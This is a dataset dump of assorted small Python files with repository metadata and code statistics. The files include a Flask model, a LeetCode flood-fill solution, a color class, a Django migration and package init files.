dde012f0131c0466bb10b09a8bb9b931cf29f9e0
1,250
py
Python
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
81
2015-02-17T17:07:27.000Z
2021-08-15T17:46:13.000Z
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
81
2015-02-17T17:04:16.000Z
2021-02-21T03:52:55.000Z
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
29
2015-01-18T18:28:06.000Z
2022-02-05T03:11:04.000Z
from urllib.parse import quote_plus from flask import url_for from sopy import db from sopy.ext.models import IDModel from sopy.se_data.models import ChatMessage class Transcript(IDModel): title = db.Column(db.String, nullable=False) ts = db.Column(db.DateTime, nullable=False) body = db.Column(db.String, ...
30.487805
111
0.6992
173
1,250
4.913295
0.393064
0.047059
0.035294
0.056471
0.269412
0.170588
0
0
0
0
0
0
0.1696
1,250
40
112
31.25
0.818882
0
0
0.133333
0
0
0.1336
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0.133333
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
dde18ec4be1d8c33f255254c0622e00cb5440454
903
py
Python
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
3
2021-09-14T11:45:08.000Z
2022-03-24T14:15:45.000Z
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
1
2021-11-02T09:05:03.000Z
2021-11-02T09:05:03.000Z
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
2
2021-09-04T12:04:47.000Z
2021-09-29T02:22:27.000Z
import string class Text(object): def __init__(self, id, title, author, year, text, kind=None): self._id = id self._text = text self._title = title self._author = author self._year = int(year) self._kind = kind # remove all punctuation, transform to lowercas...
23.763158
79
0.594684
113
903
4.477876
0.371681
0.13834
0.110672
0.067194
0
0
0
0
0
0
0
0
0.307863
903
37
80
24.405405
0.8096
0.091916
0
0
0
0
0
0
0
0
0
0
0
1
0.296296
false
0
0.037037
0.222222
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
ddf4f002bdafcaa35b08da3d17b10ff969163143
3,227
py
Python
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
# @lc app=leetcode id=733 lang=python3 # # [733] Flood Fill # # https://leetcode.com/problems/flood-fill/description/ # # algorithms # Easy (56.41%) # Likes: 2867 # Dislikes: 304 # Total Accepted: 295.8K # Total Submissions: 520.1K # Testcase Example: '[[1,1,1],[1,1,0],[1,0,1]]\n1\n1\n2' # # An image is represen...
25.409449
79
0.563062
519
3,227
3.485549
0.292871
0.022112
0.023217
0.024323
0.250415
0.245439
0.204533
0.200111
0.164179
0.147043
0
0.067083
0.256275
3,227
127
80
25.409449
0.686667
0.544469
0
0.277778
0
0.055556
0.173601
0.036585
0
0
0
0
0
1
0.027778
false
0.055556
0.027778
0
0.111111
0.444444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
2
ddf942b2e063534e1be85e5ea023893bc397f31f
281
py
Python
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
37
2019-04-03T07:19:57.000Z
2022-01-09T06:18:41.000Z
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
16
2020-08-11T08:09:42.000Z
2021-10-30T17:40:48.000Z
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
130
2019-10-02T14:40:20.000Z
2022-01-26T17:38:26.000Z
n=int(input("enter number of elements: ")) l=[] for i in range(n): l.append(int(input(f"enter l[{i}]: "))) print(l) ''' output: enter number of elements: 6 enter l[0]: 23 enter l[1]: 11 enter l[2]: 67 enter l[3]: 889 enter l[4]: 342 enter l[5]: 23 [23, 11, 67, 889, 342, 23] '''
16.529412
42
0.604982
59
281
2.881356
0.474576
0.247059
0.152941
0.247059
0
0
0
0
0
0
0
0.150215
0.170819
281
16
43
17.5625
0.579399
0
0
0
0
0
0.336134
0
0
0
0
0
0
1
0
false
0
0
0
0
0.2
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
fb11cc94756d7a64bca7380ced7163ff03cf6c9d
1,098
py
Python
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
65
2017-10-27T20:08:16.000Z
2022-01-09T10:04:34.000Z
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
null
null
null
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
6
2017-10-28T21:15:21.000Z
2020-01-21T18:54:35.000Z
# -*- coding: utf-8 -*- from json import dumps from json import loads from numpy import reshape from numpy import float32 as npfloat from .helpers import pfloat from .helpers import json_array class Rgba(): def __init__(self, r, g, b, a=1.0, pre=False): if not pre: self.rgba = reshape([a*r, a*g, a*b, a...
20.333333
73
0.553734
191
1,098
3.089005
0.277487
0.094915
0.076271
0.027119
0.162712
0.098305
0
0
0
0
0
0.051345
0.255009
1,098
53
74
20.716981
0.669927
0.019126
0
0
0
0.027027
0.060521
0
0
0
0
0
0
1
0.189189
false
0
0.162162
0.108108
0.540541
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
fb134c450c18cd77b03d07534120f43f4678a6d3
201
py
Python
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
from Inheritance.class_Inheritance.project_zoo import Car class SportsCar(Car): def race(self): return "racing..." sc = SportsCar() print(sc.drive()) print(sc.move()) print(sc.race())
14.357143
57
0.681592
27
201
5
0.62963
0.155556
0
0
0
0
0
0
0
0
0
0
0.164179
201
13
58
15.461538
0.803571
0
0
0
0
0
0.044776
0
0
0
0
0
0
1
0.125
false
0
0.125
0.125
0.5
0.375
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
2
fb2310cd470fca6cde0b1b57f2d12555db8cd628
5,225
py
Python
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
9
2020-07-10T15:45:12.000Z
2022-01-19T10:44:13.000Z
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
14
2020-06-15T16:04:54.000Z
2022-03-12T01:05:47.000Z
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
5
2021-01-05T01:26:48.000Z
2022-01-23T11:20:49.000Z
import click from pangea_api import * descriptions = { "megagenome::v1::mash": "compact sketches to quickly compare samples", "metagenscope::reads_classified": "input for the metagenscope visualization engine", "metagenscope::reads_classified": "input for the metagenscope visualization engine", "meta...
46.651786
131
0.714067
648
5,225
5.615741
0.29784
0.019786
0.027205
0.056884
0.547128
0.531465
0.437758
0.280297
0.253366
0.253366
0
0.012128
0.163636
5,225
111
132
47.072072
0.820595
0
0
0.347826
0
0
0.643568
0.180704
0
0
0
0
0
1
0.032609
false
0.076087
0.021739
0
0.054348
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
fb2b7e4d61ad83e8f0b79faf18128b54a725ecd6
393
py
Python
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
null
null
null
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
1
2021-03-31T19:12:01.000Z
2021-03-31T19:12:01.000Z
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
null
null
null
import abc from ofx2xlsmbr.writer.IWriterBankStatement import IWriterBankStatement from ofx2xlsmbr.writer.IWriterCashFlow import IWriterCashFlow class WriterAbstractFactory(metaclass=abc.ABCMeta): @abc.abstractmethod def createWriterBankStatement(self) -> IWriterBankStatement: pass @abc.abstractm...
30.230769
71
0.793893
33
393
9.454545
0.515152
0.089744
0.128205
0
0
0
0
0
0
0
0
0.00597
0.147583
393
13
72
30.230769
0.925373
0
0
0.4
0
0
0
0
0
0
0
0
0
1
0.2
false
0.2
0.3
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
fb2dd66c698324e7c23ff6c76701b8a625520158
126
py
Python
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
"""Top-level package for wyeusk.""" __author__ = """Steve Betts""" __email__ = 'stevo.betts@gmail.com' __version__ = '0.1.0'
21
35
0.674603
17
126
4.294118
0.882353
0
0
0
0
0
0
0
0
0
0
0.027027
0.119048
126
5
36
25.2
0.630631
0.230159
0
0
0
0
0.406593
0.230769
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
fb38a4a82a0ed9a5d0fcbe4ae11b635ccf24a565
534
py
Python
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
# Generated by Django 2.2a1 on 2019-06-20 15:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop', '0007_auto_20190620_2027'), ] operations = [ migrations.AlterField( model_name='account', name=...
22.25
48
0.531835
48
534
5.8125
0.708333
0.143369
0.179211
0.207885
0.286738
0.286738
0
0
0
0
0
0.090379
0.357678
534
23
49
23.217391
0.723032
0.08427
0
0.352941
1
0
0.105603
0.049569
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
3492dd31a3e5cdbaac7c9e1546d72759b053c9e1
199
py
Python
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
null
null
null
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
415
2018-08-30T08:14:21.000Z
2022-03-31T20:59:02.000Z
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Top-level package for Omniconverter.""" __author__ = """Marius Pahl""" __email__ = 'marius.jf.pahl@gmail.com' __version__ = '0.1.7' from .omniconverter import Converter
19.9
42
0.683417
25
199
4.96
0.88
0
0
0
0
0
0
0
0
0
0
0.023121
0.130653
199
9
43
22.111111
0.693642
0.296482
0
0
0
0
0.298507
0.179104
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2